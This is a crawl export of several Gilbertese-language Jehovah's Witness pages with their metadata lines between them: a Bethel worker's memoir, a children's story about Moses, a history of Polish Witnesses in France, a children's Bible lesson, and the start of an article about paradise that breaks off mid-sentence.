ao Jessie Sinclair nako Bronx, ae te aono teuana i New York City. Temanna i buakoia raoraoia aika boou bon Willie Sneddon ae roko naba mai Scotland. Imwin tabeua te miniti ni moani kaitibooia, ao a a karakinia naba aia utu. E riki anne tabeua te ririki imwaini bungiakiu.\nE karaki tinau nakoni Willie bwa a bwabwa tamana ma mwaanena ae ikawai riki ngke e okaanako te mwaain aia booti n akawa n te North Sea, teutana te tai imwain te Moani Buaka. E kaeka Willie ni kangai, \"E a mena tamam i moone!\" Willie bon Ana Tia Kakoaua Iehova temanna, ao aei te aro ae kakubanako are e moan taekinaki iai te koaua man te Baibara nakon tinau.\nE rawawata tinau n ana taeka Willie, bwa e ataia ae bon te mwaane ae raoiroi tamana. Ma e a manga taku Willie, \"E na rau nanom ngkana I tuangko ae e nako moone Iesu?\" E uringa tinau te reirei n te Aro are e taekinaki iai bwa e ruo rikaaki Iesu nako moone ao e kautaki n te katenua ni bong. Ngaia are e iango ni kangai, 'Ngkana moone bon te tabo ae ura iai te ai ao a kammarakaki iai ake a buakaka, e aera bwa e nako iai Iesu?' E a moanna tinau ni kan ongora taekan te koaua. E moana kaakaeani bobotaki n te ekaretia ae Bronx ao e bwabetitoaki n 1940.\nN te tai anne, a aki rangi ni kaungaaki kaaro aika Kristian bwa a na reirei ma natiia n te Baibara. Ngke I uarereke, e tiku n tobwaai tamau ao tinau e kaei bobotaki ao n uarongorongo n te wikeen. Imwin tabeua te ririki, I a moanna ngai ma tamau n irira tinau nakoni bobotaki. E rangi ni marurung tinau n tataekina te rongorongo ae raoiroi ao e kairi reirei n te Baibara ma aomata aika kan ongora. Iai te tai are e ikotiia iai naake e reirei ma ngaiia ao a botaki n reirei, ngkai a maeka n uakaan i marenaia. I iriria n uarongorongo ni motirawan au reirei. N te aro anne, a a bati baika I atai n te Baibara ao I a rabakau n reireinia aomata te baere e taekinaki iai.\nI nanokawaki n taekinna bwa e aki rangi ni kakawaki irou te koaua ngke I uarereke riki. I kakeaa bongana. Ma ngke tao ai 12 au ririki, I a riki bwa te tia uarongorongo ao I a katoatai n ira te uarongorongo ni moa man te tai anne. I katabua maiuu nakon Iehova ngke 16 au ririki ao I bwabetitoaki n Turai 24, 1954, n te bwabwaro i Toronto, i Kanata.\nAU BEKU N TE BETAERA\nTabeman taari mwaane n ara ekaretia boni kaain te Betaera ao tabeman boni kaaina ngkoa. E korakora rotakiu irouia. E anaaki nanou n rabakauia n angareirei ao ni kabwarabwarai koaua man te Baibara. E ngae ngke a tangirai au tia reirei bwa N na rin n te kuura ae rietata, ma tiau bon te rin n te Betaera. Ngaia are I a karina au bubutii ibukin riniu n te Betaera n tain te bwabwaro are i Toronto. I a manga karinna naba n tain te bwabwaro n 1955 n te Yankee Stadium, i New York City. E aki maan imwina ngke ai 17 au ririki, ao I a kaoaki bwa N na moana au beku n te Betaera i Brooklyn n Tebetembwa 19, 1955. N au kauoua ni bong n te Betaera, I a mwakuri n te Tabo ni Karao Boki n 117 Adams Street. E aki maan ao I a mwakuri n te mitiin ae ikotii booki aika kaka 32 iteranibaaia ni katauraoi imwain rokoia n te mitiin ae itui booki ni kanimwi.\nTao teuana te namwakaina imwina n te Tabo ni Karao Boki, I a kanakoaki nakon te Aobiti Ibukin te Maekatin, ibukina bwa I rabakau n taibi. N taai akekei, a korei atureti taari i aoni mwakoro ni biti aika uarereke ibukia naake a tangiria bwa e na rereke irouia Te Taua-n-Tantani ao te Awake! Tabeua te namwakaina imwina, I a mwakuri ma te aobiti ae tabe ma karokoan ara boki n aaba nako. E tuangai Klaus Jensen ae te mataniwi n te aobiti anne ngkana I kan ira te turaiua n nikiri bwaoki ni boki n te uaabu, ibukini kanakoaia nakon aaba ni kabutaa te aonnaba. Iai naba baeki ni maekatin ake a na uotaki nakon te aobiti n reta ibukini meerinakia nakon ekaretia ni kabutaa te United States. E taku Brother Jensen bwa n ana iango ao e raoiroi ibukiu te mwakuri korakora. Bon tii 125 te bwauna rawawatau (57 te kirokuraem) ao I rangi ni bakitaia. A buokai ni kakorakoraa rabwatau mwamwanangau aikai nako tabon te uaabu ao te aobiti n reta. E bon ataa te bwai ae raoiroi ibukiu Brother Jensen!\nE katauraoi naba aia oota taian ekaretia ibukini maekatin, te Aobiti Ibukin te Maekatin. I a atai taetae ake a boreetiaki iai ara maekatin i Brooklyn, ao ni kanakoaki nakon iteran te aonnaba ake tabeua. I tuai man ongo taekan taetae aika bati mai buakon akanne, ma I kukurei n ataia ae nga ma nga maekatin aika kanakoaki nakon taabo aika raroanako. Ma I aki ataia ae N na kakabwaiaaki ni kawari aaba aika bati mai buakon akanne, n ririki ake imwina.\nN 1961, I a mwiokoaki bwa N na mwakuri n te Aobiti ae Tabe ma te Mwane i aan ana tararua Grant Suiter. Imwin tabeua te ririki ikanne, I a weteaki nakon ana aobiti Nathan Knorr are kaira ara mwakuri ni kabutaa te aonnaba n te tai anne. E kabwarabwaraa nakoiu bwa te tari temanna are mwakuri n ana aobiti, e nako ni kaea te Kuura ni Minita Ibukin te Tautaeka n Uea i nanon teuana te namwakaina, ao e na mwakuri imwina n te Aobiti Ibukin te Mwakuri. I mwiokoaki bwa N na onea mwina ao ni mwakuri ma Don Adams. Don bon te tari are butimwaea au booma ni bubutii ibukin riniu n te Betaera, n te bwabwaro are n 1955. Taari mwaane ake uoman ake a a kamani mwakuri n te aobiti aei bon Robert Wallen ao Charles Molohan. Ti uaia ni mwakuri ngaira ni kaaman i nanon ririki aika raka i aon 50. Ai kakimwareireira te beku ma mwaane aika ikawai n te onimaki aikai!—TaiAre. 133:1.\nNi moa man 1970, I a mwiokoaki bwa N na mwamwananga tabeua te wiki ni katoa teuana ke uoua te ririki ni kawari aobiti n tararua n te Watch Tower Society. E irekereke aei ma kawaraia kaain te utu ni Betaera ao mitinare ni katobibia te aonnaba, n anga te kaungaunga ao n tuoi mwin aia mwakuri taian aobiti n tararua. Ai kakimwareireira te kaitiboo ma tabeman kaain te Kuura ni Kireata ake taiani moani koraki, ake a teimatoa ni kakaonimaki ni beku n aaba aika a ianena iai! I kakabwaiaaki ao ni kukurei ni kawari aaba aika 90 tabun n au mwakuri anne.\nE A REKE RAOU AE KAKAONIMAKI\nA bane kaain te utu ni Betaera i Brooklyn ni mwiokoaki nakon ekaretia aika kakaokoro n aonon New York City. I mwiokoaki nakon te ekaretia i Bronx. E rikirake te moan ekaretia n te aono aei ao e a bwenaua. E aranaki are te moan ekaretia bwa te Upper Bronx Congregation, are I kaainna.\nN nukan 1960 tabun, a mwaing nakon aonon ara ekaretia kaain te utu teuana mai Latvia aika taani Kakoaua ake a kaaina te koaua n te ekaretia are i Bronx maiaki. E riki bwa te bwaiania ae katoatai Livija ae natiia te aine ae te karimoa, ngke e bane naba ngkekei ana reirei. Tabeua te namwakaina imwina, e a mwaing neiei nako Massachusetts ni beku ike a kainnanoaki riki iai taan tataekina te Tautaeka n Uea. I kororeta nakoina ni karakina rongorongon te ekaretia, ao e kaekai au reta ni karakina nakoraoin ana mwakuri ni minita n aononi Boston.\nTabeua te ririki imwina, e a mwiokoaki Livija bwa te bwaiania ae okoro. E kani karaoa ae bati n ana beku ibukin Iehova, ngaia are e a karina ana bubutii ibukin rinna n te Betaera ao e a kaoaki n 1971. N taraana, bon te kaotioti anne nakoiu mairoun Iehova! Ti mare n Okitobwa 27, 1973, ao ti kakabwaiaaki bwa e anga te kabwarabwara n ara mare Brother Knorr. E kangai Taeka N Rabakau 18:22: \"Ane e reke irouna buuna ae te aine ae raoiroi ao e kunea te bwai ae raoiroi, ao e reke akoana iroun Iehova.\" Ti akoaki iroun Iehova ngai ma Livija n ara beku n te Betaera n te maan ae raka i aon 40 te ririki. Ao ti teimatoa ni kaaina te ekaretia are i Bronx.\nTE UAIA NI MWAKURI MA TARINI KRISTO\nE rangi ni kakukurei te mwakuri ma Brother Knorr. E rangi ni mwakuri korakora ibukin te koaua, ao a rangi ni kakawaki irouna mitinare ni katobibia te aonnaba. A bati i buakoia ake a riki bwa taani moani Kakoaua n aaba ake a mwiokoaki iai. E kananokawaki norakini Brother Knorr n rotakibuaka n te kaentia n 1976. N te taina ngke e a aki kona n teirake man ana kainiwene, e butiiai bwa N na wareka nakoina te boki are tabe ni katauraoaki imwaini boreetiakina. E butiiai bwa N na wetea Frederick Franz bwa e na roko naba n ongora n te wareware. I a kunea imwina ae e rotaki ana taratara Brother Franz, ao e kakabanea te tai ae bati Brother Knorr ni wareware nakoina.\nE mate Brother Knorr n 1977, ma a rau nanoia naake a kinaa ao n tangiria, ibukina bwa e kakaonimaki ni karokoa banen ana mwakuri i aon te aba. (TeKao. 2:10) Imwin anne, e a kaira ara mwakuri Brother Franz.\nN te tai anne, ao I riki bwa ana tia koroboki Milton Henschel ae e a tia ni mwakuri i nanon ririki aika bati ma Brother Knorr. E tuangai Brother Henschel bwa tabeu ngkai ae moan te kakawaki n te Betaera, boni buokani Brother Franz ni bwaai nako ake e kainnanoi. I wawareki nakoina booki imwaini boreetiakia. E rangi ni kamimi tautau mwaakan ana iango Brother Franz ao arona ni kona ni kaatuua raoi ana iango n te baere e warekaki. Ai kakimwareireira buokana n te aro anne ni karokoa banen ana mwakuri i aon te aba n Ritembwa 1992!\nA rangi ni baitii ririki aika 61 ake I beku iai n te Betaera. A teimatoa ni kakaonimaki nakon Iehova au karo ni karokoa mateia, ao I ingainga ni kani butimwaeiia n te aonnaba ae e a tamaroa riki. (Ioa. 5:28, 29) Akea te bwai teuana n te waaki ae ngkai ae kona ni kabotauaki ma tamaroan te beku ma mwaane ao aine aika kakaonimaki, ni beku ibukia ana aomata te Atua ni katobibia te aonnaba. Ti kona n taekinna ma te koaua ngai ma Livija, bwa i nanon ririki ake ti kabwanina iai ara tai ni beku, e a tia n riki bwa \"[ara] nono te kimwareirei are e anga Iehova.\"—Neem. 8:10.\nE aki boto butin ana botaki Iehova i aon ana kakorakora te aomata ae tii temanna, ao e teimatoa ni kabutakinako te koaua ibukin te Tautaeka n Uea. I kimwareirei ao ni kakabwaiaaki ni mwakuri i nanon ririki aika bati ma taari mwaane aika mwakuri korakora ao a kakaonimaki ni koaua. Angia naake a kabiraki ake I mwakuri ma ngaiia, ai akea ngkai i aon te aba. Ma I kakaitau ngkai I a tia n riki bwa raoia aomata aika kakaonimaki aikai aika ikawai n te onimaki, ni beku ibukin Iehova.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-tebetembwa-2017\/kakabwaiaaki-ni-beku-ma-mwaane-aika-ikawai-n-te-onimaki\/","date":"2018-01-18T19:03:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887535.40\/warc\/CC-MAIN-20180118171050-20180118191050-00255.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1904,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taraa n ae e na bon aki kamaunaaki Iuta irouia kaaini Baburon. E boni mena Iuta i aan Aikubita ae korakora mwaakana. A aki korakora riki I-Kareria nakoia I-Aikubita, tiaki ngaia? Irarikin anne, a bon aki kona n iangoia I-Iutaia aika bati bwa e na kariaia Iehova kamaunaan Ierutarem ma ana tembora. Ma e ngae n anne e na boni koro bukin te taetae ni burabeti aei, ao e riai n teimatoa ni kantaningaia Abakuka n arona ni kakorakoraa ana onimaki ao n taningamarau.\nTera ae I kakoauaa iai bwa e a rangi ni kaan tokin te waaki ae ngkai?\nN na kangaa n teimatoa ni kakorakoraa au onimaki ao n taningamarau?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/nobembwa-2017-mwb\/kaetieti-ibukin-te-botaki-nob27-rit3\/tematoa-ni-kakorakorai-ami-onimaki-ao-taningamarau\/","date":"2018-01-18T22:35:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00271.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":113,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kinaaki ana utu Iakoba i Aikubita bwa tibun Iteraera. Ngke a a tia ni mate Iakoba ma Ioteba, ao e a tautaeka te Barao ae boou. E raraoma teuaei bwa a a rikirake ni korakora riki tibun Iteraera nakoia kaain Aikubita. Mangaia are e a karikiia tibun Iteraera bwa tooro te Barao aei. E kairoroiia bwa a na karaoi buriki ao ni mwakuri korakora n te tawaana. Ma ngke a a karawawataaki riki aia mwakuri irouia kaain Aikubita, a a ririkirake riki mwaitiia tibun Iteraera. E aki kukurei iai Barao, ngaia are e a tua bwa a na bane n tiringaki natiia tibun Iteraera aika mwaane aika tibwa bungiaki. Ko kona n iangoa korakorani maakuia tibun Iteraera n anne?\nIai temanna te aine ae tibun Iteraera ae Iokobeta arana, ao iai natina te mwaane ae kakateke taraana. E kani kamanoa natina neiei, ngaia are e a nneia n te bwaene ao e karabaa i buakon aroka aika maunei n te Karaanga ae te Naire. E tataraia man te tabo ae uakaan mwaanen te teei aei ae Miriam, bwa e aonga n ataa te bwai ae riki nakon te teei.\nE roko natini Barao te aine bwa e na tebotebo n te karaanga ao e a nora te bwaene aei. E nora te teei ae tang i nanona, ao e nanoangaia. E titirakinna Miriam ni kangai: 'I kona n nako ni kakaaea te aine ae kona ni kammammaa?' Ngke e a kariaia natini Barao, ao Miriam e a kaira tinana are Iokobeta. E taku natini Barao nakon neiei: \"Anaa te teei aei ao kammammaa, ao N na kabooko.\"\nNgke e a ikawai te teei aei, e a kairia Iokobeta nakon natini Barao ao e aranna neiei bwa Mote ma ni kaikawaia bwa oin natina. E rikirake Mote bwa te natinuea ao a kona n reke bwaai nako ake e tangiri. Ma Mote e aki mwaninga taekan Iehova. E ataia ae bon tibun Iteraera ngaia, ao tiaki kaain Aikubita.\nNgke ai 40 ana ririki Mote, e a baireia bwa e na buokiia tibun Iteraera. Ngke e nora kaain Aikubita temanna bwa e orea te toro ae tibun Iteraera, ao e a manga orea kaain Aikubita anne ao e mate. E karabaa rabwatan teuaei Mote n taunna n te tano. Ngke e a ataa aei Barao, e a kataia n tiringa Mote. Ma e birinako Mote nakon te aba ae Mirian. E tabeakinna raoi Iehova n te tabo anne.\n\"Ibukin ana onimaki Mote ao e rawa n atongaki . . . bwa natin natini Barao te aine, ma e rinea ae e na bwainikirinaki ma ana aomata te Atua.\"—Ebera 11:24, 25","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/4\/mote\/","date":"2018-01-22T02:50:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00470.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":433,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NGKE tebwi tabun ana ririki Antoine Skalecki, ao iai ana aoti ae uarereke are e raoraonna n taai nako. A uotii kooro man te tabo are kenaki ae 1,600 te buti rietana (500 te mita) mai aantano, rinanoni kawaina aika aki rangi n oota. E ikoaki taman Antoine ngke e umunako te tabo are kenaki, ao a akea aia aanga ana utu ma a riai ni kanakoa Antoine bwa e na mwakuri iai ruaiwa te aoa n te bongina. N te tai teuana, ao e a kuri ni mate Antoine ngke e umunako te tabo are kenaki.\nAntoine bon temanna mai buakoia ataei ake a bungiaki i Buranti, n 1920 tabun ao 1930 tabun irouia aia karo aika kaain Poland. A kangaa ni maeka kaaini Poland i Buranti? Ngke e kaokaki inaomatan Poland imwin te Moan Buaka Are Kabutaa Aonnaba, e a riki te kangaanga ae korakora man rikirakeni mwaitin ana botannaomata. N te itera are teuana, a mate mirion ma mirion mwaane mai Buranti n te buaka, ao a rangi ni kainnanoaki taani keni kooro. Ngaia are, n Tebetembwa 1919, e a tiainaa te boraraoi te tautaeka ni Buranti ma Poland ibukini kariaiakan te rin n te aba. N 1931, e a roko mwaitiia kaaini Poland n 507,800 i aoni Buranti, ae angiina a maeka n aonona ake a kenaki i meang.\nA uotii aia katei ma aia koaua n aia Aaro, taani maeka aika kaaini Poland aika mwakuri korakora aikai. E ururing rikaaki Antoine are ai 90 ngkai ana ririki: \"E taekina kakawakin te Baibara tibuu ae Joseph, bwa e a kaman reiakinaki iroun tamana.\" Ni katoa Taabati, a bwaini aia kunnikai n taromauri utu aika taani keni kooro mai Poland, n aron ae a kakaraoia rimoa i abaia ao a ribaa aroia anne tabeman kaaini Buranti ake a aki taua te Aro.\nA moani kaitiboo angiina kaain Poland ake a maeka i Nord-Pas-de-Calais ma Taan Reirei n te Baibara, ake a ingainga n uarongorongo n te aono anne man 1904. N 1915, e a boreetiaki Te Taua-n-Tantani n te taetae ni Poland ni katoa namwakaina, ao n 1925 e a kona n reke The Golden Age (ae te Awake! ngkai) n te taetae naba anne. A bati utu ake a anaaki nanoia ni maekatin aikai ake a boto man te Baibara, n ikotaki naba ma te boki ae The Harp of God n te taetae ni Poland.\nA ongo taekaia Taan Reirei n te Baibara ana utu Antoine mairoun ai tamana, are e moani kaea te botaki n taromauri n 1924. N te ririki naba anne i Bruay-en-Artois, a karaoa aia moan runga Taan Reirei n te Baibara n te taetae ni Poland. Tabeua te wiki imwina n te kaawa naba anne, e a tewea te botaki ibukia aomata nako Joseph F Rutherford, are te tia tei ibukini kautun ara botaki ni katobibia te aonnaba, ike a roko iai 2,000 aomata. N noran te mwaiti ae bubura aei, are angiina boni kaaini Poland, e taku Brother Rutherford nakoia: \"E karokoi ngkami Iehova i Buranti ibukin reiakinan te koaua. Kam riai ngkai ma natimi, ni buokiia kaaini Buranti! E riai ni kabatiaaki waakinan te mwakuri n uarongorongo, ao e na karekeia taan uarongorongo ibukin anne Iehova.\"\nAo e boni karaoa anne Iehova! A mwakuri korakora n uarongorongo Kristian aika kaaini Poland aikai, n aroia naba n taabo ni keniken! Ni koauana, a okira abaia tabeman mai buakoia, n tibwaa nako te koaua ae kakawaki are e reke irouia. Teofil Piaskowski, Szczepan Kosiak ao Jan Zabuda, boni naakai naba ake a kitana Buranti n tibwaa te rongorongo ae raoiroi n aono aika bubura i Poland.\nMa a teimatoa n tiku i Buranti tabeman taan tataekina te rongorongo ae raoiroi ake a kabongana te taetae ni Poland, n ingainga ni kaai n uarongorongo ma tariia ao mwaneia ake kaaini Buranti. N te runga ibukia taari ni kabane are karaoaki i Sin-le-Noble n 1926, a kaea te reirei n te taetae ni Poland 1,000 aomata, ao 300 n te taetae ni Buranti. E ribootinaki aei n te 1929 Yearbook: \"N te ririki anne, a katabui maiuia ao a bwabetitoaki 332 Kristian mai Poland man Aaro nako.\" Imwain te Kauoua ni Buaka Are Kabutaa Aonnaba, mai buakon ekaretia aika 84 i Buranti, 32 mai iai a kabongana te taetae ni Poland.\nN 1947, a bati Ana Tia Kakoaua Iehova ake a butimwaea ana kakao te tautaeka ni Poland, ibukin okirani Poland. E ngae ngke a nako, ma e noraki uaan aia mwakuri ma taaria ake kaain Buranti, bwa 10 te katebubua rikirakeni mwaitiia taan tataekina te Tautaeka n Uea n te ririki anne. E taorimwiaki anne n te rikirake ae 20, 23 ao 40 te katebubua n 1948 nakon 1950! A moan rineaki mataniwi n te aono man te aobiti n tararua i Buranti, ibukini kataneiaakia taan uarongorongo aika boou aikai. Mai buakoia niman ake a rineaki, aman kaaini Poland, ao temanna mai buakoia bon Antoine Skalecki.\nA teimatoa angia Ana Tia Kakoaua Iehova i aoni Buranti, ni kabongana aran aia utu ni Poland, ake a mwakuri korakora n taabo ni keni kooro ao n te uarongorongo. Ni boong aikai, a rangi ni bati ake a roko ni maeka i Buranti ake a reiakina te koaua. E ngae ngkana a okiri oin abaia ke a maeka n aia tabo ae boou taan tataekina te rongorongo ae raoiroi man aaba tabeua, ma a ingainga ni kakairi irouia taan tataekina te Tautaeka n Uea n aroia taaria rimoa mai Poland.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20150815\/te-koaua-man-te-baibara-i-buranti\/","date":"2018-01-22T02:50:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00470.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":889,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.386,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iai ae e a tia n tuangko te bwai ae raba?— * E taekinaki n te Baibara taekan te bwai ae kakawaki ae raba ae atongaki bwa \"te bwai ae tabu ae raba.\" E atongaki bwa te bwai ae tabu ibukina bwa bon ana bwai te Atua. Ao e atongaki bwa te bwai ae raba ibukina bwa a aki ataa taekana aomata. A kan ataa naba ae bati riki anera n taekan te baei. Ko kan ataia bwa tera te bwai ae raba?—\nN am iango, tera te bwai are a kataia ni kan ataa taekana anera?\nN taai ake ngkoangkoa, ao te Atua e karika te moani mwaane ao te moan aine. Araia bon Atam ma Nei Ewa. A anganaki iroun te Atua mwengaia ae tikauarerei ae aranaki bwa te onnaroka are Eten. Ngke arona bwa a ongeaba Atam ma Nei Ewa iroun te Atua, a na kona ma natiia ni karika te aonnaba ni kabutaa bwa te bwaretaiti n aron te onnaroka anne. Ao a na kona ni maiu n aki toki n te Bwaretaiti. Ma ko uringnga bwa tera are a karaoia Atam ma Nei Ewa?—\nA aki ongeaba Atam ma Nei Ewa iroun te Atua, ao anne bukina ae ti a aikoa maeka iai n te bwaretaiti ni boong aikai. Ma e taku te Atua bwa e na karika te aonnaba ni kabutaa bwa te tabo ae tamaroa, ao a na bane aomata ni maiu iai n aki toki ao ni kukurei. E na kanga ni karaoa aei? A bon aki ataa taekan te baei aomata i nanon te tai ae maan, bwa bon te bwai ae raba.\nN rokon Iesu i aon te aba, ao e kabatiaa ana tai n reiakinia aomata taekan te bwai ae raba aei. E taekinna bwa bon taekan Ana Tautaeka n Uea te Atua. E tuangia aomata Iesu bwa a na tataroakina rokon te Tautaeka n Uea aei. E na bita te aonnaba nakon te bwaretaiti ae tikauarerei te Tautaeka n Uea aei.\nKo ingainga ni kan ataa te bwai ae raba aei?— Uringnga bwa bon tii te koraki aika ongeaba iroun Iehova, aika a na maeka n te Bwaretaiti. E karakinaki n te Baibara rongorongo aika bati ibukia mwaane ma aine ake a ongeaba iroun Iehova. Ko kan reiakina taekaia?— Ti na ongoraei rongorongoia tabeman mai buakoia, ao arora ni katotongia.\nWAREKIA N AM BAIBARA\n^ bar. 3 I nanoni karaki ni kabane n te boroutia aei, ao ko na nora iai te kanikina aei (—) ae e na oti imwin titiraki tabeua. Aei te tai ae tamaroa ae ko riai moa n toki iai ao n angan natim ana tai ni kaeka.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reireinia-natimi\/te-bwai-ae-raba-ae-ti-ataia\/","date":"2018-01-20T18:14:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889677.76\/warc\/CC-MAIN-20180120162254-20180120182254-00726.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":440,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te bwaretaiti! A kaotii bwaai n anainano boroutia aika kirimatamata ibukin te mwamwananga bwa ti aonga ni kiba nakon taabo tabeua aika raroa ake aongkoa taiani bwaretaiti, bwa ti na motirawa ao ni mwaninga iai taekan raraomara ma ara kangaanga. Ma n aron ae ti boni bane n ataia, ngkana ti okiri mwengara ao a bon tiku naba n aroia baika riiriki n te maiu aei, n aroia ngke ti moani kitani.\nMa e rangi ni katikitiki kan ataakin taekan te bwaretaiti. Ti a aki kona n taon nanora ao ti a iango ni kangai: 'Te koaua bwa te \"bwaretaiti\" bon tii te karioiango ae kakukurei? Ngkana eng ao bukin tera ngkai e rangi ni kan ataaki taekana? Ma e kona ni boni koaua?'\nTE KOAUA IBUKIN TE BWARETAITI\nNi waakinakon taian tienture, ao iai aomata ake a a tia n anaaki nanoia n taekan te bwaretaiti. A bati aika a moan anaaki nanoia n taekan te \"onnaroka i Eten i mainiku\" are taekinaki n te Baibara. Tera ae e karika te onnaroka anne bwa e na rangi n anainano? Ti tuangaki ae kangai n te rongorongo: \"E karikirakei kaai nako mai aontano aika kan taraakia Iehova ae te Atua, ao kaai aika raoiroi ibukin te amwarake.\" E kakukurei te onnaroka anne ao bon te tabo ae tikauarerei. Ma ae e rangi n anainano riki bwa iai \"te kai ni kamaiu naba i nukan te onnaroka.\"—Karikani Bwaai 2:8, 9\nE taekinaki naba ni Karikani Bwaai karaanga aika aua ake a raanga man te onnaroka. Uoua mai buakoni karaanga aikai a bon teimatoa naba n ataaki iroura ni boong aikai, aika Taikiriti (ke, Itekera) ao Iuberetiti. (Karikani Bwaai 2:10-14; kabwarabwara mai nano) A raanga karaanga aika uoua aikai nakoni Marawani Botia rinanon te aba ae ataaki ngkai bwa Iraq, are aononi ngkoa Botia rimoa.\nE teretere iai bwa te bwaretaiti ae n te aonnaba bon aonon naba Botia. Nangoan aon te timanti ae bwaini Botia n te ka-16 n tienture are e mena n te tabo ni kaneweaba ae arana te Philadelphia Museum of Art i Pennsylvania i U.S.A., e oti iai taamnein te onnaroka ma aroka ao uee ake iai. Te taeka ni Botia ae \"onnaroka\" e nanona naba \"bwaretaiti,\" ao te taamnei are i aon te nangoa anne e kaota bannan ana kabwarabwara te Baibara i aon te onnaroka are i Eten ae tikauarerei ma ni maiureirei.\nNi koauana, e karakinaki taekan te bwaretaiti n taetae ao ni katei aika bati ni katobibia te aonnaba. Ngkai a mwamwananga aomata nakon taabo aika kakaokoro n te aonnaba, a uouota naba te karaki ae boni koaua aei, are e a tabe n rerenganaki ma koaua ao rongorongon te aba teuana ma teuana, i nanon tienture aika bati. Ni boong aikai naba ao a kakabwarabwaraa aomata taekan te bwaretaiti bwa te tabo ae rangi n tamaroa.\nKAKAAEAN TE BWARETAITI\nA taekinna taani mwamwananga tabeman bwa a a tia ni kunea te bwaretaiti are bua. N te katoto, Charles Gordon ae te mataniwi n te taanga ni buaka ae te I-Buritan are e roko i Seychelles n 1881, e rangi n anaaki nanona ni manguroroon te aba ae Vallée de Mai ae te tabo ae kinaaki ngkai bwa te Tabo n te Aonnaba ae Riai ni Kawakinaki, are e taekinna bwa bon te onnaroka are Eten. N te ka-15 n tienture, ao e iangoia te tia boborau ae te I-Tare are Christopher Columbus bwa e kuri ni kunea te onnaroka are Eten, ngke e roko n te abamwakoro ae Hispaniola, ae arana ngkai bon te Dominican Republic ao Haiti.\nN te boki ae Mapping Paradise, ae taekan rongorongon rimoa, ao iai i nanona kabwarabwaraani mwaben rimoa aika riaon 190, ae a bati iai ake a kaota taamnein Atam ma Ewa i Eten. I buakoni mwaabe akanne ao iai teuana ae kamimi ae bwain te ka-13 n tienture ae katoton ana nira ni boki Beatus ae kaain Liébana. Iai te bwaoki ae uarereke mai etana ao e mena te bwaretaiti i nukana. A raanga mai iai karaanga aika aua ae a mwakoro iai \"Taikiriti,\" \"Iuberetiti,\" \"Bition,\" ao \"Kion,\" kaka teuana nakoni koonana ake aua, ae tao a tei ibukini butanakon te Aro ni Kristian ni kabutaa te aonnaba. E oti n taamnei aikai bwa e ngae ngke e aki ataaki te tabo are e mena iai te Bwaretaiti are n te moantai, ma a teimatoa n anainano bwaai ake a ururingaki ibukina.\nE kinaaki John Milton ae te tia kario ae kaain Engiran n te ka-17 n tienture, n ana kario ae atuna Paradise Lost [E Bua te Bwaretaiti] are boboto i aoni Karikani Bwaai ae taekan ana bure Atam ao kanakoana mai Eten. E katuruturua iai te berita ae manga kaokan te maiu n aki toki n te aonnaba ibukia aomata, ngke e kangai: \"Bwa n te tai anne e nang riki te aonnaba bwa te bwaretaiti ni kabutaa.\" Imwina riki ao e a manga korea reitan ana kario anne ae atunaki ni Paradise Regained [Manga Kaokan te Bwaretaiti].\nBITAKIN TE BWAI AE KAATUUAKI IANGOANA\nE oti raoi bwa taekani buan te bwaretaiti ae n te aonnaba bon te bwai ae rangi ni kakawaki irouia aomata mangke a moani karikaki. Ma bukin tera bwa e a aki tabeakinaki taekana ngkai? Ibukina bwa n aron ae kaotaki n te boki ae Mapping Paradise, ao \"a a tia taan rabakau i aon te 